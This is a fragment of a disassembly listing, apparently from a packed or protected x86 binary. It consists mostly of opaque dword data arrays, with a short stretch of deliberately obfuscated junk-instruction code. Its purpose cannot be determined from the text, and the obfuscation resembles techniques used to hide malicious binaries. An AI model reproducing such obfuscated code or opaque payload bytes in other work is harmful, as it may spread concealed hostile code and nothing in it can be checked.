0B6F89900h, 0CC61A794h dd 6C83E0CAh, 381DD4C0h, 0E627242Ah, 0AD9A600Ch, 586F6C1Eh dd 29CF3BC8h, 59F65E41h, 0DBAF1B5Ch, 792BA18Fh, 0E838755Fh dd 3EC61FA4h, 2296EF26h, 0E6787h, 0F4A68B00h, 387ECD0Ah dd 801E114Eh, 0C9D55996h, 0E96A2DFh, 405C3D24h, 85C2ACF0h dd 0C805EFB7h, 0F4C3666h, 11927C1Eh, 44E9E122h, 0DAF1A18Ch dd 0C3CB5719h, 7C4E8FC6h, 89A794E6h, 1810159Eh, 934513DBh dd 3EEF2CDCh, 5391E1D3h, 88A2B1A7h, 5A37B39Eh, 6594D922h dd 4929D0Eh, 0A35A7446h, 71882D00h, 0F2D8DFBFh, 0E8A794C3h dd 0C95E1C36h, 0B483264h, 647B7822h, 9216CDCBh, 0AAA7B5BBh dd 97E52A69h, 0A69042ADh, 7B563h, 20376A00h dword_545350 dd 0FDCF8D13h, 0DA910F20h, 8C1AEB37h, 1B0DFE17h, 0BAF1EE08h ; DATA XREF: ___:off_43BF7Co dd 0B7884283h, 0A052A794h, 94B83199h, 40F7A9A7h, 0B7C9FDBCh dd 0AAB8A794h, 9E90A7A4h, 4D8447FEh, 0B39D4170h, 20D7CADCh dd 9CA09053h, 0F7364DADh, 3815E7A5h, 5BEFA6F6h, 9895ACA9h dd 6E36041Bh, 0F3D7DEB0h, 0E7A18B6Dh, 0F4311B35h, 0CA15F39h dd 9667B53Ch, 0D653CCE1h, 0F9B7D16Fh, 3B880D27h, 0F5EF2AB1h dd 0D5AE681h, 91980000h, 53E01D07h, 526634Dh, 0BC70AD97h dd 69B9F6E0h, 45543B25h, 0D9C3CB57h, 1C068E9Ch, 67514DDFh dd 0AF99032Ah, 0CCFE3F2Eh, 0EA18C43h, 0CB5736F7h, 4E8FC6C3h dd 0A794E67Ch, 5244E95Eh, 74D18138h, 0CC3D35Dh, 14D2C469h dd 2EECAE7Fh, 47058999h, 5C1A7AB2h, 8C412D0Dh, 0ADEE25C2h dd 0A794E71Dh, 0B9E748BDh, 5C48E89Fh, 654F49E4h, 1116A577h dd 1EDA04h, 7EB50000h, 94DA8D3Dh, 0E49B4DA7h, 0F0D32D93h dd 4427A794h, 0FFFFFD6Bh, 3074C2D9h, 98E9A072h, 94E6992Dh dd 0D49AE8A7h, 805596D7h, 15C7AD9Dh, 6A2C0118h, 0C6D6566Dh dd 0B225F0Fh, 0F23ED391h, 0AD3425AAh, 1488EF2Bh, 0C9779h dd 0C4D65B00h, 88E9DDAh, 504EE11Eh, 99052966h, 0DEA672AFh dd 100C0DF4h, 55927C00h, 98D5BFC7h, 0DF1C0696h, 0E1624C4Eh dd 4319B1F2h, 0AAC1A18Ch, 0E1D657E9h, 94E72AA0h, 0E4FEB0A7h dd 3D43D0E7h, 0C06D0286h, 647E0413h, 0BEAA24A6h, 0CBB5E746h dd 11170BDDh, 194004h, 378D0000h, 0D78E0E20h, 94F0F60Ah dd 0F00704A7h, 0CA9C5A22h, 0FCC56A13h, 1571FFFFh, 0C30401CFh dd 0AD98048Ch, 29E8A658h, 0A191C99Eh, 0D9970727h, 0ECAAEA44h dd 863B2733h, 210B22B9h, 321EBE75h, 0EAA8839Ah, 4FA35A2Ch dd 0A142F7Dh, 221B2h, 0C92DFF00h, 1DA794E6h, 1486A782h dd 5640ED2Ah, 206E398h, 0F1D91A97h, 0E9A7943Bh, 9B039437h dd 0B47A47FEh, 25A79438h, 20AAEB22h, 0BAA79438h, 0C5B15108h dd 0B9B6E04Dh, 95BF23DCh, 0FCB3ABB8h, 0BA80CD4Ch, 0D4C667FCh dd 11FFFAD7h, 31423671h, 366DCA7Ah, 948FD5F5h, 9C5305A7h dd 0A46234F9h, 949051E5h, 0C1DB52A7h, 1CBD6E03h, 0F9CB890Fh dd 7B4921DFh, 760DDA8Fh, 210CCF5Fh, 0CD9F5D77h, 903B8FD0h dd 0ED9FA794h, 81AA9636h, 41169AFh, 0DD01906Dh, 0E9A7F739h dd 309C7417h, 266EBA97h, 17C236Fh, 57700000h, 7106C4D6h dd 871717BCh, 0FE04836Dh, 0F9B2F3F0h, 0A3AD97EBh, 527433F1h dd 71A191E2h, 6C21DFBFh, 91E19F2Bh, 0AC893BA1h, 0D6F4359Ch dd 4A191E1h, 0FE7A3852h, 0AD78C78h, 0AF81AA96h, 0E40A1417h dd 58h, 2F9AA8BFh, 91D9DCEEh, 324CFEA1h, 0CD425B8Fh, 530A6B0Fh dd 0BF003702h, 0A794E70Bh, 0F2401DCFh, 0C00EF3AAh, 8420FDFAh dd 52FF615h, 79B0732Ah, 10CED662h, 45BA873Eh, 0D0AD97F0h dd 692777B9h, 9A4CE097h, 0A9A91DDCh, 0B62AA191h, 53CFA1CAh dd 0B2040A14h, 51000000h, 6C4D657h, 1FDDA171h, 3BF9A38Ah dd 181587A6h, 0B86F2F01h, 0EDCEAB08h, 0E7295F87h, 79A06D24h dd 0F0A79403h, 0F2715B3Dh, 0A0E1DEECh, 0AD998652h, 122926D8h dd 1C47B19h, 59565EEAh, 4B594522h, 9C7DA1CBh, 8E553595h dd 3CF3A5A1h, 0BBC34F8Ch, 25A62536h, 801B8FEFh, 0A50h dd 230D8FA2h, 695359E6h, 0AB95032Ch, 0F4DEBE6Eh, 39236BB7h dd 0C5554752h, 8C9AD7C1h, 4FE11E08h, 528654Fh, 3928A993h dd 8C40D2F8h, 30F108A1h, 2E00CB57h, 0D6A546Eh, 0AA6834F6h dd 0E716B4F5h, 12C4A794h, 8F9E41F8h, 8FC6230Dh, 94E67C4Eh dd 0F5AC5EA7h, 0C4D657A4h, 0D91A5106h, 0A794E6F1h, 0B9437E9h dd 0D9177DDCh, 75B85B12h, 0E5492623h, 0EDA057F9h, 2D6FBE9Bh dd 36E69D6Fh, 3A9F3h, 37FA00h, 94E70BBFh, 661DCFA7h, 0ACB28DDDh dd 9C60A19Eh, 0A2AD9D80h, 5AA8E5F0h, 0AE809794h, 337437EEh dd 0A78F7464h, 0E1A05E10h, 9B8926E5h, 0DF2057EEh, 9B8926EBh dd 819A3DEFh, 9260F34Ch, 1804A45Bh, 0D7C76980h, 3C904719h dd 101CBA6Ah, 3199Fh, 5A37EC00h, 0FD8F841Dh, 0B255F855h dd 0BBE244Fh, 913502B9h, 8A794C6h, 0A794C6CDh, 0C1BE8CD2h dd 97EC3B80h, 4ACF81ADh, 0EF207103h, 498A2599h, 0A9000009h dd 0EF2C1680h, 33705A20h, 73B09AF8h, 0B4F1DBBBh, 4F362064h dd 0BEC6524Ah, 58997D4h, 504CDE1Bh, 92042966h, 0F73827A8h dd 0A18C3FD3h, 572FF007h, 0B0C7C4D6h, 0E3671E7Eh, 0FBF8C60Ch dd 1BB08DC4h, 2E378D34h, 0A39F2B32h, 893BA794h, 3CFA05D2h dd 41BAD9Dh, 0DAAC6A2Ah, 0F3DD8F23h, 0ECAE7F96h, 0C0A55C2Eh dd 6EAFACB2h, 0A794A495h, 0AFF542B7h, 8051FF1h, 723A90D1h dd 0EEA09B83h, 0CF5D7437h, 7876DDC7h, 599B8373h, 205D470Dh dd 37CC8A12h, 90A7A4F6h, 6A3CFA82h, 0A582FB3h, 61064744h dd 0B3A18678h, 4AC77C01h, 4DC1FB37h, 897B2h, 0C4D65B00h dd 88E9DDAh, 504EE11Eh, 99052966h, 0DEA672AFh, 100C0DF4h dd 55927C00h, 98D5BFC7h, 0DF1C0696h, 0E1624C4Eh, 3F19B1F2h dd 0AAC1A18Ch, 1ECF15E9h, 94E6EDDDh, 5E3BEDA7h, 3A0CCAD2h dd 21E22320h, 2BAD9D80h, 4D755596h, 0B365A18Ch, 0B7859C99h dd 7F991F2Ch, 0C2CA5895h, 19272D04h, 26A4E51Ch, 0B4A18C4Eh dd 47884B02h, 0A794E6B8h, 451CDA8Ch, 0FD34313Fh, 83B40EBCh dd 0D457CC9Bh, 32F5ACC6h, 86D4CEF1h, 0BF44F6A1h, 0FB3760BAh dd 1EB86FAh, 0F1000008h, 37745E38h, 7BB8A2E8h, 0BBF8E2B0h dd 0FC392373h, 977E682Ch, 68E9A82h, 4D51DF1Ch, 98042663h dd 0DABC71AEh, 3F806FF0h, 0A18C3E8Bh, 3777384Fh, 2A64F25Ah dd 6D8961Eh, 96729B63h, 0A7F13CDFh, 0BCFD34E9h, 0A794600Eh dd 0F33D1ACCh, 0E449ECA3h, 0F872F4B2h, 0FF99940Ch, 9A552715h dd 3B8A0411h, 0D7000001h, 6C4D657h, 0C2E67451h, 0ED900C1Eh dd 0E79E32A3h, 0C5AFE944h, 35323846h, 0D08E0E1Eh, 438447FEh dd 0AD97A468h, 2E6CBF34h, 2F975614h, 0A4A1919Bh, 6428F60Dh dd 0F8210DADh, 0A145F26h, 2A5Bh, 0BEFF3600h, 0A191930Ch dd 14651CCEh, 401CF15h, 980A3CC3h, 985608ADh, 91C3EDD9h dd 8672E6A1h, 14398B5Dh, 0AFC00Ah, 370D0000h, 983D15Ah dd 0E4B6743Ah, 6A2A6F41h, 7B1D10B3h, 941828BDh, 0EAF8097h dd 94A7FDCDh, 112BDDA7h, 0EC41D65Ah, 0D657ECAAh, 8E73DAC4h dd 0ABA794C4h, 0D12E1882h, 6CCDFAF4h, 0BC739A78h, 0C6C389D7h dd 99EB6D85h, 2C82BDADh, 1E9A9E69h, 677E7B95h, 0ACE9D3DBh dd 0D6F4359Ch, 4A18EB3h, 0DBBB7552h, 0AC314B1Dh, 0EF25078Bh dd 0C1CE69DDh, 31000006h, 77B49EF8h, 0BBF8E2A8h, 0FB382270h dd 3C796333h, 0D7BEA8ECh, 464EDAC2h, 8D111F5Ch, 0D8C466A3h dd 1A7CB1EEh, 7FC0AF30h, 0A18C3E4Bh, 57B7788Fh, 9CD9C3CBh dd 0B1F74491h, 1D0721F3h, 0C4D65732h, 5960B0C7h, 390BC9D5h dd 4FE4681Fh, 75D2BCDEh, 0A9003798h, 8D447849h, 3DE4h dd 0C871EB00h, 401CF15h, 2874B6CDh, 8059A471h, 35E7AD9Dh dd 9E7F492Ah, 35F3BB87h, 8E1C1CDAh, 0B0CAA5CFh, 0CE14F9h dd 79B5CC03h, 0D68D5F1Dh, 94C5F509h, 909B4DA7h, 498Fh dd 0CF159600h, 5DED0401h, 9EDFA259h, 0AD980135h, 0BA105188h dd 20A191CCh, 7123B76Eh, 0BCD1F4B3h, 0DFADA191h, 252B39F3h dd 0F6ECE728h, 8B00A794h, 6335F3A3h, 0F8354C49h, 570EE09Eh dd 0B164A7h, 0E2F90000h, 0BA8C4A4Ah, 2037B203h, 0FBCD8B0Dh dd 4B115F44h, 7FEE0D4Eh, 9C4EAD9Dh, 0E05D6BD6h, 0FB904E4Eh dd 28A46230h, 5201B6A2h, 0BB8DB6A2h, 0F00A19AFh, 63h, 0C20373Dh dd 0EEF4D990h, 0AC890D1Dh, 84561480h, 0D02C6D6Ah, 3FAD9D7Fh dd 4D03C708h, 25D7A18Ch, 6228DA6Eh, 0C79AD1F7h, 601E7EB0h dd 1D377FCBh, 0B1DAC666h, 0A19B0DFh, 2614h, 0CF156100h dd 0F0CD0401h, 0B1D48ABh, 824F060Ch, 0AD9D607Bh, 0E24D13C5h dd 0E9D585E6h, 19CBEEC0h, 19230Ah, 2D700000h, 0A7950031h dd 0A1718885h, 0C482121Ah, 481AD8F2h, 0FF10E891h, 37EFFFFFh dd 0CE8C1020h, 0B76B4573h, 0DBF50AFAh, 2B313F24h, 623EED2Eh dd 0AC5EAD9Dh, 92239EEh, 44FBCD8Bh, 4E4B115Fh, 94C6F10Dh dd 134522A7h, 6F7485ADh, 7224B86Fh, 0C997DDB4h, 96B895CCh dd 0D6ED088Fh, 773F0BE8h, 6330E7B9h, 0A18B9570h, 0B6CDCA7Ch dd 0BA392369h, 68A9A6B4h, 9B82FDC3h, 1B8493AAh, 71C8F0DAh dd 1E38EA8Fh, 0E698D367h, 8C101E98h, 0C959FCCEh, 0ADAAC4B3h dd 0EA459496h, 21CEEACh, 0CA4AB118h, 0ACC32797h, 0BE61189Ch dd 53302D6Fh, 9FF64484h, 4549D7C4h, 0E49BB587h, 6436F734h dd 51DAF1A6h, 0FCB38543h, 603C917h, 4D186EC5h, 37F80FFDh dd 3854586h, 0A355F147h, 42F9CB89h, 0EF3EFCAEh, 82AB230Fh dd 0F4D12E18h, 94C47652h, 36D30698h, 0B2602BCEh, 2F01A45Bh dd 0F1CB16Fh, 206565A6h, 0C375F147h, 2632EBA9h, 2C68C23Ah dd 6B2B0542h, 80C1F8ADh, 0F147204Ah, 870F1B90h, 9D2DB66Dh dd 0FC746094h, 4E656232h, 2E00BEDEh, 15DCC777h, 0B14604CAh dd 0E05C1A7Ch, 0ABB46E5Ah, 818FA6A3h, 0B66D3FFDh, 6F64C906h dd 871CDAA0h, 0C1DBF5B9h, 35B3E7C4h, 0D18DD625h, 0A6238E1Ah dd 4A089699h, 601E78B5h, 0C37864DEh, 269E8AEEh, 8F8A9507h dd 0A2E83780h, 0BF0BCA88h, 0CA79444h, 1B7BB53Ch, 60AE4301h dd 7AC95E1Ch, 0DA47634h, 0F58C412Dh, 62B12915h, 3BF5321Ch dd 0B1E89D5Bh, 94455A70h, 0AAEB80A7h, 0A7944520h, 37EE08BAh dd 94455D6Ah, 3C2854A7h, 402A6AC4h, 9462ADD9h, 7F5C59A7h dd 0EE351CC3h, 0DE32E92Ch, 411540Dh, 2167B4CBh, 0FF591E6Ah dd 576BFFFFh, 9DDAC4D6h, 0BB400690h, 0DD622872h, 0F489474Fh dd 209C5A3Ah, 53F9AE9Ah, 0C2C8576Eh, 0DB7B3204h, 0E4B677EFh dd 415FD0E7h, 3B0DB98Ah, 70041117h, 51h, 1CF15BDh, 803BC304h dd 0C1D8AD9Dh, 9F712F6Fh, 723074C2h, 0A355E9A0h, 1F5772DDh dd 0C80B233Ah, 0A3753365h, 4632D289h, 7B78468Ch, 94E6C43Ah dd 26724FA7h, 396E98D8h, 0E31EB269h, 0B6205AAEh, 8C97B18Eh dd 2F8Bh, 3B092000h, 2CE3B573h, 1CF15DBh, 803BC304h, 5507AD9Dh dd 96A2248Fh, 0E3C05844h, 0CD1A47A8h, 2C11C812h, 0DA1B1826h dd 0A7955924h, 0B8616C1Eh, 6C4D657h, 1717BC71h, 59706D87h dd 5B0BC2D4h, 0CBC896DCh, 97EC218Ah, 0CCC97BADh, 43FCD1EFh dd 39F0DFF5h, 88C900B5h, 0A190F342h, 2509E698h, 32E9BB79h dd 90F36165h, 12FE72A1h, 150717E9h, 364C0Ah, 15990000h dd 0CD0401CFh, 0BC474AF0h, 6017361Ch, 97C06C93h, 0D463D8ADh dd 37F6B4CEh, 0A191798Fh, 0BBE4D044h, 0A1483E9h, 9B2F70A7h dd 3FA1916Dh, 0DE8AD68Dh, 0D7000000h, 6C4D657h, 1FDDA171h dd 2456336Ah, 0C6E49623h, 0BF2D8DFh, 73E8A794h, 0AC1DBBBh dd 0A94BC667h, 406E1B31h, 0FC914F69h, 207D6731h, 0CEE25C43h dd 1023BBB1h, 0DC680B0Eh, 5320D703h, 0A794D33Eh, 0CD951EFBh dd 0DADC6807h, 0C467196Ch, 550C0911h, 24217BB2h, 0B674220Dh dd 407D2DE4h, 16EDABEDh, 0ACEE3FC8h, 0DE1F1CEEh, 0A794C9ECh dd 25223CEEh, 97D11BE4h, 8D7729ADh, 0F537C00Eh, 51928FA9h dd 0A797789Bh, 9DD4D183h, 8C0C6E5Ch, 3BA6C9Bh, 95192940h dd 0DAA26EABh, 2BEF4055h, 6D087CE5h, 1ACh, 0CFB9E346h dd 15FF8592h, 5F4957D8h, 0A08A0A22h, 0E5CFD763h, 31011BFEh dd 0F846836Dh, 0A38DCAB4h, 61CC09F3h, 0DDCC4D37h, 8C392E9Ch dd 0D495ACA1h, 0D9C3CB57h, 1D07919Ch, 1CF1532h, 0A3CC304h dd 5608AD98h, 3C0B2259h, 0DFE6B876h, 0A191C3EBh, 2863DEFh dd 91C38343h, 0F0DC50A1h, 1439F5C7h, 0D32A0Ah, 57770000h dd 0EAC7C4D6h, 0EC41A809h, 4C2607AAh, 1A8DA898h, 1C369F3Bh dd 32ECDE1Fh, 3CEEA794h, 354C0185h, 44E79EF8h, 5343EDF4h dd 0D5BC7B39h, 84A79437h, 0C805EFA9h, 9E753365h, 768D8A50h dd 6E31E8B4h, 9734D22Dh, 0D6C072ADh, 29600957h, 9125E2E8h dd 3F46F8A1h, 0A191258Bh, 86839D4Fh, 96D84845h, 5AD2E9A7h dd 44E77C3Ah, 0ACC69856h, 0B2AF61F5h, 90C69E7Bh, 91749638h dd 0A3EB37DAh, 5FAC7CB9h, 0EADF6B6Dh, 46CBE55Fh, 0E52A4029h dd 0B154EF63h, 41000000h, 87C4AEE8h, 0CB08F2B8h, 0B483260h dd 4C897323h, 0E7CEB8FCh, 565EEA32h, 9DE12F6Ch, 0E8B476B3h dd 2A6CC1FEh, 8FD0BF40h, 0A18C383Bh, 57C7889Fh, 9CD9C3CBh dd 0AFE94491h, 1B051FF1h, 0C4D65730h, 207CB0C7h, 7BB39062h dd 4BE0641Bh, 6125F5E2h, 0BAB7D1A3h, 0E6884283h, 0A052A794h dd 31FC39E9h, 0ED407D67h, 872EEDABh, 33DB665Bh, 0E449C1ADh dd 0A28BC8B2h, 4E853AF8h, 0C371BD0Dh, 7A020E73h, 0A043FAACh dd 352108Ch, 6EBF3723h, 2805422Ch, 0E4FBB06Eh, 0A6745157h dd 974E20DEh, 0FEEh, 0C06C8300h, 0C17F1F11h, 4517D5EFh dd 34753D8Eh, 0AC8D257h, 20DEB875h, 37F5A18Bh, 521094A2h dd 6B296DBDh, 84424AD6h, 0A15F3FEFh, 0B775230Ch, 0D18F1522h db 4Dh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] push 779Ah mov [esp], eax push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edi push esi mov esi, 6089B04h mov eax, esi mov esi, [esp] add esp, 4 push 43B3h mov [esp], esp add dword ptr [esp], 4 pop edi push ebx push esi mov esi, 8 mov ebx, esi pop esi add ebx, edi mov [ebx], eax pop ebx push dword ptr [esp] pop edi add esp, 4 mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_4FF7CF ; --------------------------------------------------------------------------- dd 735510F3h, 0E1F08075h, 30CF2EF1h, 8B0C0B8h, 0FFC50306h dd 5BFF65E0h, 82BAF20Ch, 0B037F87Ch, 3654404h, 0C3119443h dd 43146109h, 2C9F2362h, 0D064A654h, 0A5B0DB1Dh, 584EA404h dd 8BC08B2Ch, 0E5BD83DAh, 60304h, 0BD830975h, 6032339h dd 50197400h, 0B8C08B53h, 3FCh, 1A9D8589h, 9D8D0603h, 605B5BFh dd 585BD3FFh, 2339BD83h, 74000603h, 0B8535017h, 3FCh, 1A9D8589h dd 9D8D0603h, 605B2AEh, 585BD3FFh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 0E5C35646h, 4EB018ADh, 0F586F9A4h dd 50006A96h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 89AA785Ah, 7E8ABE9h, 87000000h, 0FF9A6890h dd 6E9913Ah, 76000000h, 71306304h, 0C08B5A1Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0BDC35343h, 1D89BD83h dd 0F010603h, 9784h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 0FE1E630h, 4DBD8387h dd 60304h, 6A850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 0C4D5D0C3h, 2E3CCDCDh dd 8AFDEB2Ch, 0FDBB66F3h, 0BDBD83E5h, 6032Eh, 52840Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 1D6F94C3h, 5F24E592h, 8A0FA582h, 5, 9B85C5BBh dd 0D08B6615h, 42DE9h, 2880F00h, 0B2000000h, 0C6BA6604h dd 0C8h, 8B665600h, 0C3805ADAh, 0D2B70F98h, 0B07B0176h dd 0AD96B2F5h, 8E5C4658h, 56263FAh, 5A96E4B9h, 5872DD96h dd 824A6410h, 0EA51F535h, 32CB193h, 0EB7BB497h, 32CB4FDh dd 5CEFEB5Fh, 708C836h, 708F05Eh, 32CB4F2h, 53EFE3B0h dd 3CA049E3h, 2C244C0Bh, 0D2A7D2D6h, 32C5C2Ah, 8271B4BFh dd 0B9FE932h, 522CDEE9h, 32CB71Fh, 0C07594FBh, 27603DA4h dd 276835FAh, 32CAE7Bh, 0C07DF5BFh, 48947443h, 639617B0h dd 33C3BF8h, 9C4B4FBh, 0EC2CB4FDh, 4730635Bh, 0BBD7CBC7h dd 62D5EAC3h, 25EF35B9h, 552CDE9Ch, 32CB71Fh, 0C07294FBh dd 27583DA3h, 276835FAh, 32CAF7Bh, 0C07AF2BFh, 0B144CCD7h dd 97D340FAh, 0F6EC3F0Eh, 8F23E2ABh, 32CB4E5h, 32CA616h dd 497CC57Fh, 727FA949h, 96B21461h, 0D25D2856h, 593A7F3Dh dd 27283DA0h, 0EB7AB497h, 32CB4FDh, 5DEFEA5Fh, 708C036h dd 708F05Eh, 32CB4F4h, 72EFE2B1h, 89B97D5Dh, 0C05D44Dh dd 32CB97Fh, 3245D7Fh, 5820B4BFh, 0E110556Ah, 0BC576C0h dd 772CB4F7h, 47F9E459h, 0CB3136Eh, 0FD08F8FFh, 5BF60B70h dd 0EB7FB4D5h, 32CB4DCh, 58EFEFCFh, 708E87Eh, 708F07Ah dd 32CB4EAh, 46EFE7BDh, 0CDBFCF0h, 32CB134h, 81560FDFh dd 884A9E65h, 120B128h, 8A23B4FBh, 32CB4E4h, 32CB916h dd 905447Fh, 15407772h, 7C72F7A9h, 86230BEEh, 32CB4F7h dd 69243FA1h, 0C4E2FDh, 232CB4FEh, 8A727721h, 822890CBh dd 1528909Bh, 452CB4EFh, 0F5E777A1h, 4BA7D247h, 512CDE01h dd 32CB716h, 0C076947Fh, 27783DE5h, 276835DBh, 32CA0EBh dd 0C07EF6F7h, 0F0ADD220h, 9C46970h, 0BE2CB4FEh, 0D9F660C1h dd 1A2307DFh, 0D9ADD2EFh, 0BB77AF83h, 32CB4F6h, 0EB7DB491h dd 32CB4FEh, 5AEFEDDEh, 708F8F6h, 708F03Eh, 32CB4C5h, 4FEFE5AEh dd 44070FC0h, 0D5A70FF1h, 0EA7C0A4Eh, 32CB4F0h, 0CFA008F5h dd 8F643A18h, 19955F47h, 0FA5F7A8h, 0D593BBD3h, 69F5389Dh dd 0C4E7FDh, 232CB4FEh, 8A777724h, 822890E3h, 1B28909Bh dd 402CB4EFh, 0AB2A77A4h, 0EBF2ACE0h, 32CB4FBh, 5286A4BCh dd 0B94AB0DCh, 0FA77F954h, 7280EB9h, 0C287519h, 32DF572h dd 0DAA7D2FBh, 14FF359Bh, 346EDC7h, 32F5C2Dh, 590CB4BFh dd 57A5EE1Ch, 47ADB0CBh, 334B0D3h, 516EB4FBh, 4197C43Eh dd 0FA4CA8FCh, 32CB297h, 0B8F301BFh, 889E1EECh, 504DEC30h dd 83775344h, 8623DCC2h, 32CB598h, 0EB7DB494h, 32CB47Ch dd 5AEFED9Fh, 708F856h, 708F06Eh, 32CB4E1h, 0D3EFE5BAh dd 0BA4CBC17h, 17000E7Fh, 18690F19h, 2553FDEh, 0EB7FB4B5h dd 32CB4ECh, 58EFEFD7h, 708E872h, 708F07Ch, 32CB4E5h, 77EFE73Ch dd 0A2B7E54Dh, 0C70469Eh, 11C46450h, 422CB4F7h, 4FCE474Dh dd 0D11A3B6Eh, 106311A9h, 0F5D8128Dh, 3295D28h, 0D36FB4DFh dd 589ED830h, 32C4B76h, 812334FBh, 32CB418h, 5B9F5F7Fh dd 86EB844Bh, 5240643h, 32CB4DEh, 0EB7DB485h, 32CB4F4h dd 5AEFEDDBh, 708F874h, 708F07Fh, 32CB467h, 82EFE5FEh dd 673DD84Bh, 0B0C55459h, 692CB4F7h, 0C4E2FBh, 232CB4FDh dd 8A7277A0h, 8228900Bh, 192890FBh, 452CB4DFh, 0C02F77B9h dd 0D800CA7Dh, 3295D21h, 5B99B4FDh, 0EAA677FDh, 32CB402h dd 32CB956h, 0D1C49BDFh, 0C821C886h, 51233254h, 657561D3h dd 65631746h, 0FC27CD7Dh, 3773070h, 346B4BFh, 32F5C89h dd 5D0CB4EFh, 77A5EA34h, 47ADB0DFh, 337B0D9h, 556AB4FEh dd 0EF75FCBCh, 523A1589h, 0E197D228h, 0FFA9734Dh, 22ABC45h dd 692CB4FBh, 0C4E2FDh, 232CB4FEh, 8A727721h, 822890CBh dd 1E28909Bh, 452CB4EFh, 6FF477A1h, 1B03CC2Eh, 52160B3Fh dd 19C73598h, 0B07BFCF4h, 3795EF49h, 8E28404Eh, 0B94526Ah dd 3A9139F1h, 382ABC4Ch, 332BC005h, 44E565F1h, 3464194h dd 32F5CEFh, 5B0CB4DFh, 47A5EC2Ch, 47ADB0D3h, 339B0DFh dd 536CB4FDh, 8838C23Dh, 80FB3FA8h, 313D02h, 8723B5D9h dd 32CB4AFh, 4E91370Fh, 32AB7FFh, 31E31F2h, 346B4FEh, 32F5C28h dd 5C0CB4BFh, 7FA5EB1Ch, 47ADB0CBh, 334B0D3h, 546BB4FBh dd 0A590703Eh, 0BEAFBA90h, 52F9AC2h, 3BA8BBBFh, 0B92CB4DFh dd 286C3710h, 32C5F1Eh, 502CDEFBh, 32CB715h, 0C07794FEh dd 27703D24h, 276835BBh, 32CA9DBh, 0C07FF7EFh, 0F1B9555Bh dd 0F33DD4B3h, 8A237915h, 32CB4FDh, 80FB3F19h, 313D02h dd 8623B5D9h, 32CB47Ah, 32CBD1Eh, 34BD3BFBh, 946EFA1Bh dd 69716484h, 0C4E77Fh, 232CB4BFh, 8A777784h, 822890B3h dd 1B2890B3h, 402CB4FBh, 48A677AEh, 63A667FFh, 0EBAC61F5h dd 6C4D55Dh, 3A2CB4DFh, 1D6F41Fh, 59F603F8h, 562CDE38h dd 32CB715h, 0C07194FEh, 27403D22h, 276835BBh, 32CA9DBh dd 0C079F1EFh, 6A51355Ch, 66218A8Eh, 9C56BD9h, 9D2CB4FEh dd 0CEA8929Fh, 77FC46B2h, 31E5DE6h, 0D9ADB4EFh, 26C9612Eh dd 0DBA7D29Bh, 32A39F2h, 8A23B4FEh, 32CB47Fh, 11C5E9DEh dd 532CB4DFh, 0F7AF4859h, 4F68440Ah, 0E3DC2D56h, 0A9350DC5h dd 0DCA77B6Eh, 0B02709F2h, 8EA1B2B7h, 5240C6Ch, 3970A957h dd 3EA9878Ch, 282AB7E5h, 1C57532h, 404E3795h, 526A8E28h dd 39F10B94h, 0BC4C3A91h, 0C005382Ah, 65F1332Bh, 0F305E983h dd 0FCBD83A4h, 608B2h, 8D8D0D74h, 6034D69h, 1B8h, 40E1FF00h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0E6C35242h dd 86DD4941h, 11E9BE11h, 0D000000h, 4E0A607Bh, 5A37651Eh dd 51FB46ACh, 83F072E2h, 9306D381h, 40B612C0h, 83D9B70Fh dd 0E2812DE8h, 6E026E09h, 6AC08Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 904AF2C3h dd 0FE955h, 83B40000h, 0C2ACD66Ch, 1AD1A18Bh, 21E6F0EFh dd 0E5BD83D4h, 60304h, 0BD830975h, 6032339h, 50197400h dd 0B8C08B53h, 3FCh, 7398589h, 9D8D0603h, 605B626h, 585BD3FFh dd 2339BD83h, 74000603h, 0B8535017h, 3FCh, 7398589h, 9D8D0603h dd 605B2C7h, 585BD3FFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 64C35343h, 0B12B3DAAh, 3E5FB06Fh, 78C0Fh dd 800F0000h, 1, 0D18B66F5h, 8BD98B66h, 0E08D8DC0h, 6A0608BAh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 5910C351h, 12E9C2A4h, 33000000h, 423A8694h dd 0F9BAB94Bh, 155062CCh, 0D1BE308Ah, 0A58D8919h, 3060320h dd 30BE5B5h, 6585C706h, 0BC06031Ah, 6A000070h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 29DEC351h, 0DB93B838h, 0DC9DDE13h, 6850Fh, 9D0B0000h dd 60304EDh, 7185C7h, 603h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 901ED3C3h dd 70F916D9h, 0FFC18E5Eh, 317ADB5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 860FEBBFh dd 6, 1D88D781h, 95FF24EFh, 603171Dh, 1CBDBD8Bh, 6A0603h dd 23A595FFh, 0C08B0603h, 0F65D1FEBh, 25D1524Eh, 70779CD7h dd 0FE50452Ch, 923F0868h, 8E06BEDFh, 3055A7B9h, 74F61393h dd 14E8F7h, 826C0000h, 86CADA64h, 10FE4800h, 4E526D36h dd 64F68336h, 895807CEh, 32AD595h, 0B2C08106h, 8900005Dh dd 30089B5h, 0E9FF3306h, 12h, 80A3AD7Eh, 0A06DECDEh, 0D4781477h dd 4E0D516Ch, 34FF941Fh, 0CF8B6607h, 0DB81665Ah, 0C281791Dh dd 0EA54B1Fh, 0AF99EA81h, 9D897FC9h, 60319FDh, 0B6D2F281h dd 8D8907D5h, 6030AF5h, 0B381489h, 30A5D9Dh, 